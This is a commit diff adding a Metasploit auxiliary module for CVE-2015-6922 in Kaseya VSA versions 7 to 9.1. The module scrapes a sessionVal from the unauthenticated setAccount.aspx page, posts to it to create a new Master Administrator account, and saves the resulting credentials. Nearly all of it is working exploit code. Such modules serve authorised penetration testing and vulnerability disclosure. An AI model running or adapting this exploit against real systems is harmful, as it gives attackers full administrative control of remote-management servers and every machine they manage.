Create exploit for Kaseya privilege escalation

Author: Pedro Ribeiro

modules/auxiliary/admin/http/kaseya_master_admin.rb

@@ -0,0 +1,103 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Auxiliary::Report
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name' => 'Kaseya VSA Master Administrator Account Creation',
+      'Description' => %q{
+This module abuses the setAccount page on Kaseya VSA between 7 and 9.1 to create a new
+Master Administrator account. Normally this page is only accessible via the localhost
+interface, but the application does nothing to prevent this apart from attempting to
+force a redirect. This module has been tested with Kaseya VSA v7.0.0.17, v8.0.0.10 and
+v9.0.0.3.
+},
+      'Author' =>
+        [
+          'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
+        ],
+      'License' => MSF_LICENSE,
+      'References' =>
+        [
+          [ 'CVE', '2015-6922' ],
+          [ 'ZDI', '15-448' ],
+          [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/kaseya-vsa-vuln-2.txt' ],
+          [ 'URL', 'TODO_FULLDISC_URL' ]
+        ],
+      'DisclosureDate' => 'Sep 23 2015'))
+
+    register_options(
+      [
+        OptString.new('TARGETURI', [ true,  "The Kaseya VSA URI", '/']),
+        OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']),
+        OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']),
+        OptString.new('EMAIL', [true, 'The email for the new admin account', '[email protected]'])
+      ], self.class)
+  end
+
+
+  def run
+    res = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, "/LocalAuth/setAccount.aspx"),
+      'method' =>'GET',
+    })
+
+    if res and res.body =~ /ID="sessionVal" name="sessionVal" value='([0-9]*)'/
+      sessionVal = $1
+      print_status("#{peer} - Got sessionVal " + sessionVal + ", creating Master Administrator account")
+
+      res = send_request_cgi({
+        'uri' => normalize_uri(target_uri.path, "/LocalAuth/setAccount.aspx"),
+        'method' =>'POST',
+        'vars_post' => {
+          "sessionVal" => sessionVal,
+          "adminName" => datastore['USERNAME'],
+          "NewPassword" => datastore['PASSWORD'],
+          "confirm" => datastore['PASSWORD'],
+          "adminEmail" => datastore['EMAIL'],
+          "setAccount" => "Create"
+        }
+      })
+
+      if res and res.code == 302 and res.body =~ /\/vsapres\/web20\/core\/login\.asp/
+        print_good("#{peer} - Master Administrator account with credentials #{datastore['USERNAME']}:#{datastore['PASSWORD']} created")
+        service_data = {
+          address: rhost,
+          port: rport,
+          service_name: (ssl ? 'https' : 'http'),
+          protocol: 'tcp',
+          workspace_id: myworkspace_id
+        }
+        credential_data = {
+          origin_type: :service,
+          module_fullname: self.fullname,
+          private_type: :password,
+          private_data: datastore['PASSWORD'],
+          username: datastore['USERNAME']
+        }
+
+        credential_data.merge!(service_data)
+        credential_core = create_credential(credential_data)
+        login_data = {
+          core: credential_core,
+          access_level: 'Master Administrator',
+          status: Metasploit::Model::Login::Status::UNTRIED
+        }
+        login_data.merge!(service_data)
+        create_credential_login(login_data)
+      else
+        print_error("#{peer} - Master Administrator account creation failed")
+      end
+    else
+      print_error("#{peer} - Failed to get sessionVal")
+    end
+  end
+end